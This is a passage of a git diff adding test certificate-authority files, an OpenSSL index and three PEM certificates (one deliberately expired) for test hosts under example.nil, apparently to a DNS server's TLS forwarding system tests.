+        66:15:1f:e3:d6:3a:c1:95:b1:f5:f2:9c:dc:99:cb:d5:39:35:
+        6a:bf:bc:f4:81:9d:7c:4c:c1:76:f8:4d:26:ab:f4:f0:50:b2:
+        f9:41:65:6c:df:9d:16:57:e3:dc:7d:85:0a:14:5f:20:ea:08:
+        5e:ab:3c:75:ae:f6:7e:55:62:3b:4c:4a:c7:48:4f:24:f2:78:
+        e6:99:52:76:87:6e:b3:08:7c:d6:4e:41:72:8f:ed:f1:5a:1a:
+        20:e7:c2:cd:a0:6f:04:6c:f1:71:87:21:00:49:29:c1:fb:bd:
+        08:a7:51:34:bb:e0:f1:f7:59:3d:b8:9e:c6:48:06:fe:e6:ea:
+        30:8b:65:8f:d2:31:c5:d6:4e:a8:22:7e:fc:85:05:3d:e4:7c:
+        38:54:07:46:cc:94:8e:a5:d3:4c:09:71:6e:60:63:e4:6a:8e:
+        aa:c2:81:df:31:37:2a:96:b3:53:36:a2:76:44:59:18:33:81:
+        6c:24:84:a3:61:68:63:a2:02:bd:fd:b2:9c:db:0f:cc:a6:44:
+        54:c6:2d:13:fb:96:80:63:e7:e9:2e:36:3c:00:34:3e:62:5d:
+        fe:59:95:cb:b2:d0:cc:9a:69:ce:00:cc:59:c3:f7:79:3a:4f:
+        95:e9:64:c9:ad:28:96:e2:80:dd:59:45:29:6c:ed:0d:6e:4e:
+        50:69:6e:ef:50:32:4e:5c:af:63:39:57:90:08:0f:b9:4e:ba:
+        b2:24:ae:bb:78:39
+-----BEGIN CERTIFICATE-----
+MIIEkDCCAvigAwIBAgIJAMzBGAgmMuGNMA0GCSqGSIb3DQEBCwUAMH0xCzAJBgNV
+BAYTAlVBMRgwFgYDVQQIDA9LaGFya2l2IE9ibGFzdCcxEDAOBgNVBAcMB0toYXJr
+aXYxJDAiBgNVBAoMG0ludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bTEcMBoGA1UE
+AwwTY2EudGVzdC5leGFtcGxlLmNvbTAgFw0yMjEyMDgxMTU4NDVaGA8yMDUyMTEz
+MDExNTg0NVowIjEgMB4GA1UEAwwXc3J2MDQuY3J0MDEuZXhhbXBsZS5uaWwwggGi
+MA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQCN5ooQbwaPsuX03hRN1DwaIQP+
+MgLWbQolNT1QAHHWe3XR4AQ2INo5253fGf5bw+LQcsQNvlfYwj8wqJmxwxrIlqWK
+DHrm6Ss+yfn1RrLMFEzm0WUlGfssK+RtALp8f/YHJBcwQssE6ZQ24xiLYHdsaNOe
+YoGCZCQs6bq40EAv5v3p+qoUg28mFsG3s239Sj+Poanme73BYKFr/wKTzAiTnh4M
+ozEpIHTlN0bYQRDHEfTY50N8Tbz7/Tk6eY7CC/4h3xbC/BCzm9rMgNNkVm8Jr/Zz
+i8tk5P7FTIVOw+2kCgpT9r6NXnpCT82wIaSO5EX+KPZNKVjbSrRwej8L22Q+I6WZ
+RxF7LGaDqXknCUVyrEr6NW8fZNSrzwmQknFK0QKAsauwGewBxqcxK0vcOwkArZoS
+yunNVL2WI6MULkBYM1gvcAXJxijxPtSUE9sJs2N4b1dy6B8ob3y2JXZOqxHJpdfK
+MgBfXhSuU2UTNyvSmDzUR3RAz/8brVk1wdHTpv8CAwEAAaNsMGowKAYDVR0RBCEw
+H4IXc3J2MDQuY3J0MDEuZXhhbXBsZS5uaWyHBAo1AAQwHQYDVR0OBBYEFMqDBvs+
+V1Dd/b8AWmDibZhxzSzyMB8GA1UdIwQYMBaAFHyJ6Fzr5R9ySATFj/uSCJz1YCY5
+MA0GCSqGSIb3DQEBCwUAA4IBgQBvJMW6jmJdWFClJaH8QfwYy3wRAgqtfxMqIAeS
+WoLAkp01QLDJhVojJvtVt5l6GKeutG6iKfglcPo+v7DskddGVVWr/SKmwbRQkifq
+2KFx7BSEaQrJ3j/BY5QXXnjnhTSAv8NY8U37DLQuK5xmFR/j1jrBlbH18pzcmcvV
+OTVqv7z0gZ18TMF2+E0mq/TwULL5QWVs350WV+PcfYUKFF8g6gheqzx1rvZ+VWI7
+TErHSE8k8njmmVJ2h26zCHzWTkFyj+3xWhog58LNoG8EbPFxhyEASSnB+70Ip1E0
+u+Dx91k9uJ7GSAb+5uowi2WP0jHF1k6oIn78hQU95Hw4VAdGzJSOpdNMCXFuYGPk
+ao6qwoHfMTcqlrNTNqJ2RFkYM4FsJISjYWhjogK9/bKc2w/MpkRUxi0T+5aAY+fp
+LjY8ADQ+Yl3+WZXLstDMmmnOAMxZw/d5Ok+V6WTJrSiW4oDdWUUpbO0Nbk5QaW7v
+UDJOXK9jOVeQCA+5TrqyJK67eDk=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/forward/CA/index.txt b/bin/tests/system/forward/CA/index.txt
new file mode 100644
index 0000000000..1d7c4951a6
--- /dev/null
+++ b/bin/tests/system/forward/CA/index.txt
@@ -0,0 +1,3 @@
+V	20521130115243Z		CCC118082632E18B	unknown	/CN=srv02.crt01.example.nil
+V	221208115554Z		CCC118082632E18C	unknown	/CN=srv02.crt02-expired.example.nil
+V	20521130115845Z		CCC118082632E18D	unknown	/CN=srv04.crt01.example.nil
diff --git a/bin/tests/system/forward/CA/index.txt.attr b/bin/tests/system/forward/CA/index.txt.attr
new file mode 100644
index 0000000000..8f7e63a347
--- /dev/null
+++ b/bin/tests/system/forward/CA/index.txt.attr
@@ -0,0 +1 @@
+unique_subject = yes
diff --git a/bin/tests/system/forward/CA/newcerts/CCC118082632E18B.pem b/bin/tests/system/forward/CA/newcerts/CCC118082632E18B.pem
new file mode 100644
index 0000000000..ea6030f648
--- /dev/null
+++ b/bin/tests/system/forward/CA/newcerts/CCC118082632E18B.pem
@@ -0,0 +1,100 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number:
+            cc:c1:18:08:26:32:e1:8b
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Dec  8 11:52:43 2022 GMT
+            Not After : Nov 30 11:52:43 2052 GMT
+        Subject: CN=srv02.crt01.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                Public-Key: (3072 bit)
+                Modulus:
+                    00:93:ea:3a:43:83:ff:92:80:06:be:4e:a0:53:5d:
+                    0b:9d:c9:b1:b8:fe:d5:cc:dc:af:94:7a:ab:ba:13:
+                    0f:c0:b6:99:71:78:90:b1:7f:41:07:85:59:26:90:
+                    14:88:7b:fc:0c:64:70:37:f3:2a:39:80:80:48:4e:
+                    5f:77:74:26:fa:aa:dd:3f:7b:8e:63:b5:a6:ce:bc:
+                    bc:5a:aa:1d:2c:b0:9a:54:8c:03:46:8b:e6:19:52:
+                    51:48:16:2d:88:ac:df:73:bb:5d:86:f5:80:ff:12:
+                    93:d1:53:7f:3b:69:35:56:6d:81:8a:ea:4b:bd:75:
+                    d5:bf:a2:b8:f9:98:17:c7:47:e7:5a:0a:47:a0:00:
+                    3d:5c:77:42:95:ef:60:ea:e2:2c:ab:97:a9:f3:1d:
+                    c7:a7:f9:aa:2f:5d:03:b6:5b:48:87:b4:27:4b:99:
+                    b3:e3:99:f8:cd:bb:51:88:f4:1e:34:d5:3e:e3:12:
+                    3c:2d:c0:b7:2a:9d:0b:73:7f:3a:ad:27:97:17:58:
+                    51:70:08:87:75:42:d2:87:47:67:c0:db:c6:b9:f8:
+                    b0:31:a6:cb:15:24:7b:54:06:fd:92:e6:24:71:3f:
+                    55:02:02:71:f2:47:7f:e5:fe:be:d4:5f:1e:b5:58:
+                    f7:09:fa:60:e3:36:25:bd:f4:91:58:e6:f2:fd:f1:
+                    5a:00:e8:77:26:dc:2d:20:10:fc:c7:a2:16:0a:e1:
+                    59:e4:e5:a0:72:d4:23:88:a7:56:71:1d:69:f5:1e:
+                    e4:c1:ec:87:7a:ef:19:dd:df:fa:25:f0:3b:6f:c5:
+                    5f:14:20:26:fa:9b:e0:af:51:c4:18:3f:3c:49:7d:
+                    26:25:c2:d9:5c:67:5d:f8:af:73:20:58:ae:65:5e:
+                    71:03:77:78:7d:45:37:0a:a3:b7:32:eb:fe:ff:5f:
+                    c6:e9:b8:5b:37:f1:61:d5:84:27:50:d3:55:72:2c:
+                    8a:75:16:9a:95:b5:f9:2d:eb:d0:22:49:57:6b:65:
+                    87:aa:71:a8:6d:39:96:fe:e7:a9
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv02.crt01.example.nil, IP Address:10.53.0.2
+            X509v3 Subject Key Identifier:
+                70:90:94:81:4A:B2:BF:13:D6:29:1A:90:D9:33:A4:C5:74:29:CF:59
+            X509v3 Authority Key Identifier:
+                7C:89:E8:5C:EB:E5:1F:72:48:04:C5:8F:FB:92:08:9C:F5:60:26:39
+    Signature Algorithm: sha256WithRSAEncryption
+    Signature Value:
+        77:6c:f4:07:36:0b:ef:6e:86:2d:41:73:e0:ba:f7:4c:f1:bd:
+        8f:77:89:1a:8c:63:2e:39:93:a2:43:ee:70:85:f1:5d:01:60:
+        ab:e6:50:a1:5e:72:e3:89:13:77:e0:a5:f7:fa:27:31:93:1f:
+        3a:a7:35:5f:7d:59:3c:d2:26:9c:12:fa:51:2b:d3:31:0c:5a:
+        e7:a8:be:6a:2e:b2:82:6c:42:f2:86:74:9c:0a:c8:58:a8:68:
+        35:73:6e:1b:0c:9e:3b:08:3f:b9:ef:68:61:e9:d3:40:1d:aa:
+        dd:42:e3:1d:b0:1b:6e:b8:58:60:a1:68:4a:ff:09:b7:58:5b:
+        72:e8:36:a3:6d:10:78:c7:7f:52:f6:dc:39:5c:05:7d:7a:ae:
+        8d:3f:89:8f:10:a6:4d:8b:55:6a:9b:cb:2c:1d:00:59:9b:0c:
+        c3:55:e0:a3:25:69:b4:29:30:2f:20:bf:07:f4:21:88:b7:d0:
+        62:ad:d7:ca:e1:91:45:9f:a2:5f:7d:07:f4:98:b0:5e:d4:3a:
+        92:86:e9:a1:fb:c0:9b:81:46:da:56:ed:92:47:c0:1a:aa:55:
+        37:0e:3c:92:2c:44:7a:80:55:1f:15:7a:7c:c4:7e:ad:d5:b0:
+        a5:7e:33:63:09:23:6b:78:42:de:37:aa:04:a7:52:ed:06:fe:
+        d4:56:36:12:85:b6:ec:ff:03:ea:4b:e2:7a:42:49:73:b6:ab:
+        e4:7d:4a:2b:94:65:1f:b1:17:a3:be:17:0b:4e:53:3d:8a:d3:
+        d7:04:0f:f1:1a:63:b2:a6:eb:00:31:64:b4:80:e9:ae:bb:69:
+        12:04:a5:7d:2c:bd:91:62:2c:b9:5a:6e:af:e0:ee:27:f0:88:
+        15:8b:b7:ce:07:5e:bc:6b:e9:3e:3f:23:c7:f9:c9:48:20:69:
+        6a:8e:f2:17:9b:58:ff:72:36:21:ed:d3:83:16:60:ec:de:6f:
+        c4:50:47:b7:61:ce:75:c1:d6:60:28:de:bd:69:7c:e6:db:0e:
+        b9:fa:7b:84:24:35
+-----BEGIN CERTIFICATE-----
+MIIEkDCCAvigAwIBAgIJAMzBGAgmMuGLMA0GCSqGSIb3DQEBCwUAMH0xCzAJBgNV
+BAYTAlVBMRgwFgYDVQQIDA9LaGFya2l2IE9ibGFzdCcxEDAOBgNVBAcMB0toYXJr
+aXYxJDAiBgNVBAoMG0ludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bTEcMBoGA1UE
+AwwTY2EudGVzdC5leGFtcGxlLmNvbTAgFw0yMjEyMDgxMTUyNDNaGA8yMDUyMTEz
+MDExNTI0M1owIjEgMB4GA1UEAwwXc3J2MDIuY3J0MDEuZXhhbXBsZS5uaWwwggGi
+MA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQCT6jpDg/+SgAa+TqBTXQudybG4
+/tXM3K+Uequ6Ew/AtplxeJCxf0EHhVkmkBSIe/wMZHA38yo5gIBITl93dCb6qt0/
+e45jtabOvLxaqh0ssJpUjANGi+YZUlFIFi2IrN9zu12G9YD/EpPRU387aTVWbYGK
+6ku9ddW/orj5mBfHR+daCkegAD1cd0KV72Dq4iyrl6nzHcen+aovXQO2W0iHtCdL
+mbPjmfjNu1GI9B401T7jEjwtwLcqnQtzfzqtJ5cXWFFwCId1QtKHR2fA28a5+LAx
+pssVJHtUBv2S5iRxP1UCAnHyR3/l/r7UXx61WPcJ+mDjNiW99JFY5vL98VoA6Hcm
+3C0gEPzHohYK4Vnk5aBy1COIp1ZxHWn1HuTB7Id67xnd3/ol8DtvxV8UICb6m+Cv
+UcQYPzxJfSYlwtlcZ134r3MgWK5lXnEDd3h9RTcKo7cy6/7/X8bpuFs38WHVhCdQ
+01VyLIp1FpqVtfkt69AiSVdrZYeqcahtOZb+56kCAwEAAaNsMGowKAYDVR0RBCEw
+H4IXc3J2MDIuY3J0MDEuZXhhbXBsZS5uaWyHBAo1AAIwHQYDVR0OBBYEFHCQlIFK
+sr8T1ikakNkzpMV0Kc9ZMB8GA1UdIwQYMBaAFHyJ6Fzr5R9ySATFj/uSCJz1YCY5
+MA0GCSqGSIb3DQEBCwUAA4IBgQB3bPQHNgvvboYtQXPguvdM8b2Pd4kajGMuOZOi
+Q+5whfFdAWCr5lChXnLjiRN34KX3+icxkx86pzVffVk80iacEvpRK9MxDFrnqL5q
+LrKCbELyhnScCshYqGg1c24bDJ47CD+572hh6dNAHardQuMdsBtuuFhgoWhK/wm3
+WFty6DajbRB4x39S9tw5XAV9eq6NP4mPEKZNi1Vqm8ssHQBZmwzDVeCjJWm0KTAv
+IL8H9CGIt9BirdfK4ZFFn6JffQf0mLBe1DqShumh+8CbgUbaVu2SR8AaqlU3DjyS
+LER6gFUfFXp8xH6t1bClfjNjCSNreELeN6oEp1LtBv7UVjYShbbs/wPqS+J6Qklz
+tqvkfUorlGUfsRejvhcLTlM9itPXBA/xGmOypusAMWS0gOmuu2kSBKV9LL2RYiy5
+Wm6v4O4n8IgVi7fOB168a+k+PyPH+clIIGlqjvIXm1j/cjYh7dODFmDs3m/EUEe3
+Yc51wdZgKN69aXzm2w65+nuEJDU=
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/forward/CA/newcerts/CCC118082632E18C.pem b/bin/tests/system/forward/CA/newcerts/CCC118082632E18C.pem
new file mode 100644
index 0000000000..455655d558
--- /dev/null
+++ b/bin/tests/system/forward/CA/newcerts/CCC118082632E18C.pem
@@ -0,0 +1,100 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number:
+            cc:c1:18:08:26:32:e1:8c
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Dec  7 11:55:54 2022 GMT
+            Not After : Dec  8 11:55:54 2022 GMT
+        Subject: CN=srv02.crt02-expired.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                Public-Key: (3072 bit)
+                Modulus:
+                    00:ce:00:36:6e:b8:3f:db:fe:90:f7:de:e1:ed:43:
+                    4b:19:97:78:d8:ae:32:3c:4b:d5:8e:cd:1f:29:78:
+                    e2:af:d3:02:95:34:2c:5e:cd:54:8a:07:70:6b:61:
+                    a9:af:22:a7:6e:cf:86:b6:71:d7:4d:b4:af:f3:f0:
+                    9b:28:49:18:8c:66:88:67:63:47:e9:cd:a8:e9:5c:
+                    63:c0:be:08:b2:77:81:05:83:c7:3a:53:1b:c6:7a:
+                    82:99:fa:54:6f:4f:30:80:50:96:92:16:6e:10:16:
+                    ca:76:ee:c9:e5:90:63:98:98:e7:58:61:09:15:e9:
+                    45:67:89:f1:df:21:69:b6:ad:b7:24:68:92:07:b6:
+                    6f:93:f8:fb:bd:b5:90:c9:57:5a:e5:46:6c:d0:73:
+                    33:3c:10:6e:01:dc:46:f5:84:95:5d:2b:03:e3:3a:
+                    0d:66:59:f8:92:37:78:49:74:32:32:96:fa:bd:05:
+                    27:43:f8:f9:90:7c:e4:2b:36:54:c0:f2:77:fd:4f:
+                    ed:87:00:08:23:4d:57:81:a0:4f:f6:2e:9c:a0:22:
+                    3d:f6:27:b2:39:ed:44:8e:5c:92:4c:4b:b9:74:bb:
+                    0a:c4:97:e3:85:66:29:fc:75:3b:b5:3d:e1:22:57:
+                    33:11:2e:9a:a9:41:84:82:ea:44:b5:fc:3a:b4:88:
+                    31:11:46:98:c2:ec:db:43:55:72:a7:9f:a1:65:c0:
+                    bf:11:a7:44:27:a3:8b:06:4f:08:2a:2d:4c:c9:aa:
+                    d5:3d:03:24:66:e6:03:9b:9c:98:1a:5f:45:e8:b9:
+                    1d:f1:05:40:d8:3e:ed:40:05:1e:fa:8a:58:c5:a2:
+                    f2:2a:a1:cb:25:7e:61:8c:0e:3c:cc:5b:43:3a:7c:
+                    8b:a7:64:b8:c5:2b:6b:16:59:06:ad:ec:19:b5:1d:
+                    73:44:2f:f4:6c:31:f1:6e:f4:55:f6:44:37:ee:db:
+                    20:fe:54:92:43:28:f8:44:cb:9f:9f:b6:2c:aa:61:
+                    1f:2f:1a:15:15:cc:61:f3:b9:6f
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv02.crt02-expired.example.nil, IP Address:10.53.0.2
+            X509v3 Subject Key Identifier:
+                A7:8A:6D:EA:10:B4:6B:B8:13:16:6B:BA:A0:26:C3:9A:E7:A6:71:7E
+            X509v3 Authority Key Identifier:
+                7C:89:E8:5C:EB:E5:1F:72:48:04:C5:8F:FB:92:08:9C:F5:60:26:39
+    Signature Algorithm: sha256WithRSAEncryption
+    Signature Value:
+        34:7b:38:92:d9:c1:ba:ed:c7:b3:61:63:e6:d2:11:4e:0c:83:
+        8f:97:3a:11:97:51:3e:8d:9b:49:bb:f5:2c:92:d1:c2:e4:3b:
+        ad:db:69:cc:1f:cf:58:3d:4f:51:97:d1:09:19:2f:22:b5:3d:
+        e1:0d:e5:65:40:2a:54:19:55:22:11:85:18:1a:08:31:97:d8:
+        fe:cf:4c:9b:ec:8b:8f:9c:cd:cf:5b:a1:56:e4:1d:e0:79:4b:
+        ee:6b:1c:0b:60:a8:d8:fd:5c:a8:9d:dc:74:4f:ce:b8:f8:19:
+        a4:00:db:93:7b:ae:34:55:c6:fb:35:1b:9e:bc:d0:5f:da:8d:
+        77:0e:1f:45:89:d4:dd:f1:a9:4e:48:64:d2:4e:b6:4b:57:a0:
+        87:cf:a8:30:35:6e:09:91:56:59:9b:01:af:8a:f7:11:8c:d8:
+        2e:56:89:eb:a5:a0:6c:d2:56:0c:da:13:4d:36:92:28:50:b1:
+        e5:cd:64:60:ac:93:f4:98:d7:eb:df:7b:42:89:da:c0:6d:6e:
+        75:ae:45:28:9b:e8:de:00:dc:eb:df:ba:4f:63:2a:61:e5:42:
+        f3:e0:8f:aa:bd:f7:f6:9b:67:1b:ed:1e:a6:ae:4c:81:a2:62:
+        ff:a8:8f:94:da:a8:9d:27:fa:a4:46:44:2e:13:f2:05:2b:c4:
+        a6:57:d3:95:1c:ca:f8:e3:d2:0f:28:70:8a:1b:37:4f:b7:c1:
+        b3:fd:4b:85:ca:9d:8a:bb:62:85:47:66:c7:31:b8:db:c4:5d:
+        66:9d:6e:7b:94:07:fa:09:ae:5b:5b:23:31:ba:c8:40:82:4b:
+        6a:48:d2:83:0c:5f:b9:62:64:06:16:05:dd:e8:a8:02:eb:d7:
+        7a:9b:d9:49:d6:87:0e:16:ca:d6:4e:46:46:e5:37:e4:0d:68:
+        b7:d2:d6:78:c4:ee:c1:3b:38:8e:83:df:1f:39:63:1c:65:7a:
+        e0:26:1f:96:8a:57:9d:6b:27:62:6e:40:86:83:29:fd:1f:a1:
+        69:2a:92:cf:ab:db
+-----BEGIN CERTIFICATE-----
+MIIEnjCCAwagAwIBAgIJAMzBGAgmMuGMMA0GCSqGSIb3DQEBCwUAMH0xCzAJBgNV
+BAYTAlVBMRgwFgYDVQQIDA9LaGFya2l2IE9ibGFzdCcxEDAOBgNVBAcMB0toYXJr
+aXYxJDAiBgNVBAoMG0ludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bTEcMBoGA1UE
+AwwTY2EudGVzdC5leGFtcGxlLmNvbTAeFw0yMjEyMDcxMTU1NTRaFw0yMjEyMDgx
+MTU1NTRaMCoxKDAmBgNVBAMMH3NydjAyLmNydDAyLWV4cGlyZWQuZXhhbXBsZS5u
+aWwwggGiMA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQDOADZuuD/b/pD33uHt
+Q0sZl3jYrjI8S9WOzR8peOKv0wKVNCxezVSKB3BrYamvIqduz4a2cddNtK/z8Jso
+SRiMZohnY0fpzajpXGPAvgiyd4EFg8c6UxvGeoKZ+lRvTzCAUJaSFm4QFsp27snl
+kGOYmOdYYQkV6UVnifHfIWm2rbckaJIHtm+T+Pu9tZDJV1rlRmzQczM8EG4B3Eb1
+hJVdKwPjOg1mWfiSN3hJdDIylvq9BSdD+PmQfOQrNlTA8nf9T+2HAAgjTVeBoE/2
+LpygIj32J7I57USOXJJMS7l0uwrEl+OFZin8dTu1PeEiVzMRLpqpQYSC6kS1/Dq0
+iDERRpjC7NtDVXKnn6FlwL8Rp0Qno4sGTwgqLUzJqtU9AyRm5gObnJgaX0XouR3x
+BUDYPu1ABR76iljFovIqocslfmGMDjzMW0M6fIunZLjFK2sWWQat7Bm1HXNEL/Rs
+MfFu9FX2RDfu2yD+VJJDKPhEy5+ftiyqYR8vGhUVzGHzuW8CAwEAAaN0MHIwMAYD
+VR0RBCkwJ4Ifc3J2MDIuY3J0MDItZXhwaXJlZC5leGFtcGxlLm5pbIcECjUAAjAd
+BgNVHQ4EFgQUp4pt6hC0a7gTFmu6oCbDmuemcX4wHwYDVR0jBBgwFoAUfInoXOvl
+H3JIBMWP+5IInPVgJjkwDQYJKoZIhvcNAQELBQADggGBADR7OJLZwbrtx7NhY+bS
+EU4Mg4+XOhGXUT6Nm0m79SyS0cLkO63bacwfz1g9T1GX0QkZLyK1PeEN5WVAKlQZ
+VSIRhRgaCDGX2P7PTJvsi4+czc9boVbkHeB5S+5rHAtgqNj9XKid3HRPzrj4GaQA
+25N7rjRVxvs1G5680F/ajXcOH0WJ1N3xqU5IZNJOtktXoIfPqDA1bgmRVlmbAa+K
+9xGM2C5WieuloGzSVgzaE002kihQseXNZGCsk/SY1+vfe0KJ2sBtbnWuRSib6N4A
+3Ovfuk9jKmHlQvPgj6q99/abZxvtHqauTIGiYv+oj5TaqJ0n+qRGRC4T8gUrxKZX
+05Ucyvjj0g8ocIobN0+3wbP9S4XKnYq7YoVHZscxuNvEXWadbnuUB/oJrltbIzG6
+yECCS2pI0oMMX7liZAYWBd3oqALr13qb2UnWhw4WytZORkblN+QNaLfS1njE7sE7
+OI6D3x85YxxleuAmH5aKV51rJ2JuQIaDKf0foWkqks+r2w==
+-----END CERTIFICATE-----
diff --git a/bin/tests/system/forward/CA/newcerts/CCC118082632E18D.pem b/bin/tests/system/forward/CA/newcerts/CCC118082632E18D.pem
new file mode 100644
index 0000000000..7a8fbc1b66
--- /dev/null
+++ b/bin/tests/system/forward/CA/newcerts/CCC118082632E18D.pem
@@ -0,0 +1,100 @@
+Certificate:
+    Data:
+        Version: 3 (0x2)
+        Serial Number:
+            cc:c1:18:08:26:32:e1:8d
+        Signature Algorithm: sha256WithRSAEncryption
+        Issuer: C=UA, ST=Kharkiv Oblast', L=Kharkiv, O=Internet Systems Consortium, CN=ca.test.example.com
+        Validity
+            Not Before: Dec  8 11:58:45 2022 GMT
+            Not After : Nov 30 11:58:45 2052 GMT
+        Subject: CN=srv04.crt01.example.nil
+        Subject Public Key Info:
+            Public Key Algorithm: rsaEncryption
+                Public-Key: (3072 bit)
+                Modulus:
+                    00:8d:e6:8a:10:6f:06:8f:b2:e5:f4:de:14:4d:d4:
+                    3c:1a:21:03:fe:32:02:d6:6d:0a:25:35:3d:50:00:
+                    71:d6:7b:75:d1:e0:04:36:20:da:39:db:9d:df:19:
+                    fe:5b:c3:e2:d0:72:c4:0d:be:57:d8:c2:3f:30:a8:
+                    99:b1:c3:1a:c8:96:a5:8a:0c:7a:e6:e9:2b:3e:c9:
+                    f9:f5:46:b2:cc:14:4c:e6:d1:65:25:19:fb:2c:2b:
+                    e4:6d:00:ba:7c:7f:f6:07:24:17:30:42:cb:04:e9:
+                    94:36:e3:18:8b:60:77:6c:68:d3:9e:62:81:82:64:
+                    24:2c:e9:ba:b8:d0:40:2f:e6:fd:e9:fa:aa:14:83:
+                    6f:26:16:c1:b7:b3:6d:fd:4a:3f:8f:a1:a9:e6:7b:
+                    bd:c1:60:a1:6b:ff:02:93:cc:08:93:9e:1e:0c:a3:
+                    31:29:20:74:e5:37:46:d8:41:10:c7:11:f4:d8:e7:
+                    43:7c:4d:bc:fb:fd:39:3a:79:8e:c2:0b:fe:21:df:
+                    16:c2:fc:10:b3:9b:da:cc:80:d3:64:56:6f:09:af:
+                    f6:73:8b:cb:64:e4:fe:c5:4c:85:4e:c3:ed:a4:0a:
+                    0a:53:f6:be:8d:5e:7a:42:4f:cd:b0:21:a4:8e:e4:
+                    45:fe:28:f6:4d:29:58:db:4a:b4:70:7a:3f:0b:db:
+                    64:3e:23:a5:99:47:11:7b:2c:66:83:a9:79:27:09:
+                    45:72:ac:4a:fa:35:6f:1f:64:d4:ab:cf:09:90:92:
+                    71:4a:d1:02:80:b1:ab:b0:19:ec:01:c6:a7:31:2b:
+                    4b:dc:3b:09:00:ad:9a:12:ca:e9:cd:54:bd:96:23:
+                    a3:14:2e:40:58:33:58:2f:70:05:c9:c6:28:f1:3e:
+                    d4:94:13:db:09:b3:63:78:6f:57:72:e8:1f:28:6f:
+                    7c:b6:25:76:4e:ab:11:c9:a5:d7:ca:32:00:5f:5e:
+                    14:ae:53:65:13:37:2b:d2:98:3c:d4:47:74:40:cf:
+                    ff:1b:ad:59:35:c1:d1:d3:a6:ff
+                Exponent: 65537 (0x10001)
+        X509v3 extensions:
+            X509v3 Subject Alternative Name:
+                DNS:srv04.crt01.example.nil, IP Address:10.53.0.4
+            X509v3 Subject Key Identifier:
+                CA:83:06:FB:3E:57:50:DD:FD:BF:00:5A:60:E2:6D:98:71:CD:2C:F2
+            X509v3 Authority Key Identifier:
+                7C:89:E8:5C:EB:E5:1F:72:48:04:C5:8F:FB:92:08:9C:F5:60:26:39
+    Signature Algorithm: sha256WithRSAEncryption
+    Signature Value:
+        6f:24:c5:ba:8e:62:5d:58:50:a5:25:a1:fc:41:fc:18:cb:7c:
+        11:02:0a:ad:7f:13:2a:20:07:92:5a:82:c0:92:9d:35:40:b0:
+        c9:85:5a:23:26:fb:55:b7:99:7a:18:a7:ae:b4:6e:a2:29:f8:
+        25:70:fa:3e:bf:b0:ec:91:d7:46:55:55:ab:fd:22:a6:c1:b4:
+        50:92:27:ea:d8:a1:71:ec:14:84:69:0a:c9:de:3f:c1:63:94:
+        17:5e:78:e7:85:34:80:bf:c3:58:f1:4d:fb:0c:b4:2e:2b:9c:
+        66:15:1f:e3:d6:3a:c1:95:b1:f5:f2:9c:dc:99:cb:d5:39:35:
+        6a:bf:bc:f4:81:9d:7c:4c:c1:76:f8:4d:26:ab:f4:f0:50:b2:
+        f9:41:65:6c:df:9d:16:57:e3:dc:7d:85:0a:14:5f:20:ea:08:
+        5e:ab:3c:75:ae:f6:7e:55:62:3b:4c:4a:c7:48:4f:24:f2:78:
+        e6:99:52:76:87:6e:b3:08:7c:d6:4e:41:72:8f:ed:f1:5a:1a:
+        20:e7:c2:cd:a0:6f:04:6c:f1:71:87:21:00:49:29:c1:fb:bd:
+        08:a7:51:34:bb:e0:f1:f7:59:3d:b8:9e:c6:48:06:fe:e6:ea:
+        30:8b:65:8f:d2:31:c5:d6:4e:a8:22:7e:fc:85:05:3d:e4:7c:
+        38:54:07:46:cc:94:8e:a5:d3:4c:09:71:6e:60:63:e4:6a:8e:
+        aa:c2:81:df:31:37:2a:96:b3:53:36:a2:76:44:59:18:33:81:
+        6c:24:84:a3:61:68:63:a2:02:bd:fd:b2:9c:db:0f:cc:a6:44:
+        54:c6:2d:13:fb:96:80:63:e7:e9:2e:36:3c:00:34:3e:62:5d:
+        fe:59:95:cb:b2:d0:cc:9a:69:ce:00:cc:59:c3:f7:79:3a:4f:
+        95:e9:64:c9:ad:28:96:e2:80:dd:59:45:29:6c:ed:0d:6e:4e:
+        50:69:6e:ef:50:32:4e:5c:af:63:39:57:90:08:0f:b9:4e:ba:
+        b2:24:ae:bb:78:39
+-----BEGIN CERTIFICATE-----
+MIIEkDCCAvigAwIBAgIJAMzBGAgmMuGNMA0GCSqGSIb3DQEBCwUAMH0xCzAJBgNV
+BAYTAlVBMRgwFgYDVQQIDA9LaGFya2l2IE9ibGFzdCcxEDAOBgNVBAcMB0toYXJr
+aXYxJDAiBgNVBAoMG0ludGVybmV0IFN5c3RlbXMgQ29uc29ydGl1bTEcMBoGA1UE
+AwwTY2EudGVzdC5leGFtcGxlLmNvbTAgFw0yMjEyMDgxMTU4NDVaGA8yMDUyMTEz
+MDExNTg0NVowIjEgMB4GA1UEAwwXc3J2MDQuY3J0MDEuZXhhbXBsZS5uaWwwggGi
+MA0GCSqGSIb3DQEBAQUAA4IBjwAwggGKAoIBgQCN5ooQbwaPsuX03hRN1DwaIQP+
+MgLWbQolNT1QAHHWe3XR4AQ2INo5253fGf5bw+LQcsQNvlfYwj8wqJmxwxrIlqWK
+DHrm6Ss+yfn1RrLMFEzm0WUlGfssK+RtALp8f/YHJBcwQssE6ZQ24xiLYHdsaNOe
